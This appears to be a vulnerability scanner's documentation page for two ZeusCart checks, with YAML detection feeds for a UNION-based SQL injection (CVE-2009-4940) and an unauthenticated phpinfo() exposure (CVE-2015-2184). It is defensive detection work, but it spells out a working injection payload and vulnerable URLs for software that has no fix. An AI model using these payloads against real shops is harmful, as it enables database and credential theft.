ZeusCart — 2 vulnerability checks
noctis ships 2 vulnerability checks for ZeusCart, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
ZeusCart showmaincatlanding maincatid SQL Injection
| CVE | CVE-2009-4940 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | sqli — SQL injection |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/zeuscart/CVE-2009-4940.yaml |
ZeusCart pastes the maincatid parameter of its main-category landing page (index.php?do=featured&action=showmaincatlanding), unquoted and unchecked, into an SQL query run without authentication, and prints the returned content on the page, allowing SQL injection (an attacker can read the whole database, including the administrator accounts and their passwords).
This check requests the landing page under the web root and the usual install paths with a maincatid value that appends a UNION SELECT of an expression multiplying two random numbers. The vulnerability is confirmed when the page contains the product computed by the database, which never appears in the request. No stored data is read and nothing is written.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/index.php?do=featured&action=showmaincatlanding&maincatid={{sc.q_union}} - Parses / computes the next value with a Rhai script
- Checks
hit_dirfor^/→ finding QoD 97: ZeusCart showmaincatlanding maincatid SQL Injection (CVE-2009-4940)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2009-4940
- https://www.exploit-db.com/exploits/8829
- https://github.com/ZeusCart/zeuscart
Feed source — tests/vulnerabilities/zeuscart/CVE-2009-4940.yaml
# ZeusCart showmaincatlanding maincatid SQL injection — CVE-2009-4940
#
# ZeusCart (index.php?do=featured&action=showmaincatlanding, no authentication) builds
# the main-category landing page in MFeaturedItems::showMainCatLanding(), which calls
# Core_CFeaturedItems::getMaincatlandContent():
# $maincatid = $_GET['maincatid'];
# $sql = "SELECT b.html_content FROM category_table a INNER JOIN html_contents_table b
# ON a.category_content_id = b.html_content_id WHERE a.category_id =".$maincatid;
# and prints the first row's html_content inside a <div id="product_tbbg"> block
# (Display_DFeaturedItems::landContent). The value is unquoted and never cast, so a
# one-column UNION SELECT is printed on the page (public exploit EDB-8829 against 2.3).
# The same unquoted concatenation is still in ZeusCart 4.0 (github.com/ZeusCart/zeuscart,
# classes/Core/CFeaturedItems.php — its FILTER_SANITIZE_STRING input filter does not stop
# a quote-free payload), so no fixed release exists.
#
# Detection (QoD 97), per candidate install dir:
# ?do=featured&action=showmaincatlanding&maincatid=-9999 union all select
# concat(0x4e4f43544953,a*b,0x454e44) -- -
# with random six-digit a, b. The vulnerable page shows NOCTIS<a*b>END; the product a*b
# is never in the request, so a page or honeypot that reflects the request cannot match.
# Read-only: no table is selected from and nothing is written.
#
# Better than the source NASL:
# - the reference check dumps admin_id:admin_name:admin_password from admin_table
# (stored credentials end up in the report; an install whose admin_table was renamed
# or emptied is missed) — here no stored data is read;
# - a database-computed value, not a fixed marker, is matched;
# - "-- -" ends the query on every MySQL/MariaDB (a bare "--" needs whitespace after it
# when more SQL follows), and the usual install directories are probed, not only the
# detected one.
#
# Source: OpenVAS/Greenbone NVT 2010/gb_zeuscart_sql_inj_vuln.nasl
# (OID 1.3.6.1.4.1.25623.1.0.801240, GPL-2.0-only); exploit EDB-8829.
uid: aa3396ae-7d26-4156-add0-b6af3adabad9
name: "ZeusCart showmaincatlanding maincatid SQL Injection (CVE-2009-4940)"
description: |
ZeusCart pastes the maincatid parameter of its main-category landing page
(index.php?do=featured&action=showmaincatlanding), unquoted and unchecked, into an SQL
query run without authentication, and prints the returned content on the page,
allowing SQL injection (an attacker can read the whole database, including the
administrator accounts and their passwords).
This check requests the landing page under the web root and the usual install paths
with a maincatid value that appends a UNION SELECT of an expression multiplying two
random numbers. The vulnerability is confirmed when the page contains the product
computed by the database, which never appears in the request. No stored data is read
and nothing is written.
cves: [CVE-2009-4940]
cvss: 7.5
severity: high
category: sqli
confidence_base: 0.30
tags: [zeuscart, sqli, union-based, php, ecommerce]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2009-4940"
- "https://www.exploit-db.com/exploits/8829"
- "https://github.com/ZeusCart/zeuscart"
# OpenVAS/Greenbone NASL 2010/gb_zeuscart_sql_inj_vuln.nasl (GPL-2.0-only)
steps:
# ── Random operands, expected value and the encoded maincatid payload ─────
- id: gen-proof
action: script
code: |
let a = rand_int(100000, 999999);
let b = rand_int(100000, 999999);
#{ want: "NOCTIS" + (a * b) + "END",
expr: a + "*" + b,
q_union: "-9999%20union%20all%20select%20concat(0x4e4f43544953," + a + "*" + b
+ ",0x454e44)%20--%20-" }
store_as: sc
- id: init-hit
action: set_var
var_name: hit_dir
var_value: ""
# ── Per candidate install path (loop group) ───────────────────────────────
- id: init-union-resp
action: set_var
var_name: union_resp
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/zeuscart", "/ZeusCart", "/cart", "/shop", "/store"]
- id: union-probe
action: http_request
method: GET
path: "{{dir}}/index.php?do=featured&action=showmaincatlanding&maincatid={{sc.q_union}}"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit_dir == ""'
store_as: union_resp
- id: check-union
action: script
condition: 'hit_dir == ""'
code: |
let body = if type_of(union_resp.body) == "string" { union_resp.body } else { "" };
if body.contains(sc.want) { if dir == "" { "/" } else { dir } } else { "" }
store_as: hit_dir
# ── Finding ───────────────────────────────────────────────────────────────
- id: report
action: match
source: hit_dir
pattern: "^/"
on_match:
finding:
title: "ZeusCart showmaincatlanding maincatid SQL Injection (CVE-2009-4940)"
description: "An unauthenticated main-category landing page request whose maincatid value appends a UNION SELECT multiplying two random numbers returned the product computed by the database: an attacker can read the whole database, including the administrator accounts and their passwords."
remediation: "No ZeusCart release fixes this query: cast maincatid to an integer in getMaincatlandContent() (classes/Core/CFeaturedItems.php) and showMainCatLanding(), or remove the application or restrict access to it."
confidence_delta: 0.67
qod: 97
evidence: "install dir {{hit_dir}}: index.php?do=featured&action=showmaincatlanding&maincatid=-9999 union all select concat(0x4e4f43544953,{{sc.expr}},0x454e44) -- - showed the database-computed value {{sc.want}}"
stop: trueZeusCart admin getphpinfo Unauthenticated phpinfo() Disclosure
| CVE | CVE-2015-2184 |
|---|---|
| Severity | medium · CVSS 5.3 |
| Category | exposure — Exposure |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/zeuscart/CVE-2015-2184.yaml |
The ZeusCart administration front controller (admin/?do=getphpinfo) runs phpinfo() without requiring an administrator login, so any visitor can read the server's PHP configuration: PHP version, php.ini location, loaded modules, environment variables and filesystem paths that help to target further attacks.
This check requests admin/?do=getphpinfo under the web root and the usual install paths and confirms the finding when the answer is a genuine phpinfo() page. A request for a random, non-existent admin action must not return such a page, which rules out servers that answer phpinfo() for every admin URL. Nothing is written on the target.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
GET {{dir}}/admin/?do=getphpinfo - HTTP(S) request
GET {{dir}}/admin/?do={{ctl_action}} - Parses / computes the next value with a Rhai script
- Checks
hit_dirfor^/→ finding QoD 75: ZeusCart admin getphpinfo Unauthenticated phpinfo() Disclosure (CVE-2015-2184)
References:
Feed source — tests/vulnerabilities/zeuscart/CVE-2015-2184.yaml
# ZeusCart admin/?do=getphpinfo unauthenticated phpinfo() disclosure — CVE-2015-2184
#
# ZeusCart 4.0 routes the admin front controller's getphpinfo action to phpinfo() without
# checking for an administrator session, so any visitor can read the PHP configuration
# (PHP version, php.ini path, loaded modules, environment, document root). The same
# advisory lists reflected XSS in index.php (CVE-2015-2182) and SQL injection in admin
# pages (CVE-2015-2183); only the phpinfo() exposure is proven here, so only
# CVE-2015-2184 is claimed.
#
# Detection (QoD 75), per candidate install dir: GET <dir>/admin/?do=getphpinfo and require
# the phpinfo() page (<title>phpinfo()</title>, "PHP Version" heading, a "System" row).
# Better than the source NASL: a control request for a random, non-existent admin action
# must NOT return a phpinfo page (a catch-all or honeypot that answers phpinfo for any
# /admin/ URL is not reported), and the usual install directories are probed, not only
# the detected one. Read-only; nothing is written.
#
# Source: OpenVAS/Greenbone NVT 2015/gb_zeuscart_multi_vuln.nasl (GPL-2.0-only).
uid: 13b9bfd3-6f3c-4852-b070-fbd993e0af62
name: "ZeusCart admin getphpinfo Unauthenticated phpinfo() Disclosure (CVE-2015-2184)"
description: |
The ZeusCart administration front controller (admin/?do=getphpinfo) runs phpinfo()
without requiring an administrator login, so any visitor can read the server's PHP
configuration: PHP version, php.ini location, loaded modules, environment variables and
filesystem paths that help to target further attacks.
This check requests admin/?do=getphpinfo under the web root and the usual install paths
and confirms the finding when the answer is a genuine phpinfo() page. A request for a
random, non-existent admin action must not return such a page, which rules out servers
that answer phpinfo() for every admin URL. Nothing is written on the target.
cves: [CVE-2015-2184]
cvss: 5.3
severity: medium
category: exposure
confidence_base: 0.30
tags: [zeuscart, phpinfo, information-disclosure, php, ecommerce]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2015-2184"
- "https://github.com/ZeusCart/zeuscart"
# OpenVAS/Greenbone NASL 2015/gb_zeuscart_multi_vuln.nasl (GPL-2.0-only)
steps:
- id: gen-control
action: script
code: |
"noctis" + rand_hex(6)
store_as: ctl_action
- id: init-hit
action: set_var
var_name: hit_dir
var_value: ""
- id: init-info-resp
action: set_var
var_name: info_resp
var_value: {status: 0, body: ""}
loop:
var: dir
over: ["", "/zeuscart", "/ZeusCart", "/cart", "/shop", "/store"]
- id: info-probe
action: http_request
method: GET
path: "{{dir}}/admin/?do=getphpinfo"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit_dir == ""'
store_as: info_resp
- id: init-ctl-resp
action: set_var
var_name: ctl_resp
var_value: {status: 0, body: ""}
- id: control-probe
action: http_request
method: GET
path: "{{dir}}/admin/?do={{ctl_action}}"
port: "{{port}}"
tls_insecure: true
timeout_secs: 15
condition: 'hit_dir == "" && info_resp.status == 200 && info_resp.body.contains("phpinfo()")'
store_as: ctl_resp
- id: check-info
action: script
condition: 'hit_dir == ""'
code: |
let b = if type_of(info_resp.body) == "string" { info_resp.body } else { "" };
let c = if type_of(ctl_resp.body) == "string" { ctl_resp.body } else { "" };
if info_resp.status == 200 && ctl_resp.status == 200 && b.contains("<title>phpinfo()</title>") && b.contains("PHP Version")
&& b.contains(">System") && !c.contains("phpinfo()") {
if dir == "" { "/" } else { dir }
} else { "" }
store_as: hit_dir
- id: report
action: match
source: hit_dir
pattern: "^/"
on_match:
finding:
title: "ZeusCart admin getphpinfo Unauthenticated phpinfo() Disclosure (CVE-2015-2184)"
description: "The ZeusCart admin front controller answered an unauthenticated request for the getphpinfo action with a phpinfo() page, while a request for a random admin action did not: the PHP configuration of the server is readable by anyone."
remediation: "Remove the getphpinfo action from the administration controller, require an administrator session for every admin/ action, or restrict access to the admin directory."
confidence_delta: 0.45
qod: 75
evidence: "install dir {{hit_dir}}: admin/?do=getphpinfo returned a phpinfo() page (PHP Version, System rows); control admin action {{ctl_action}} did not"
stop: true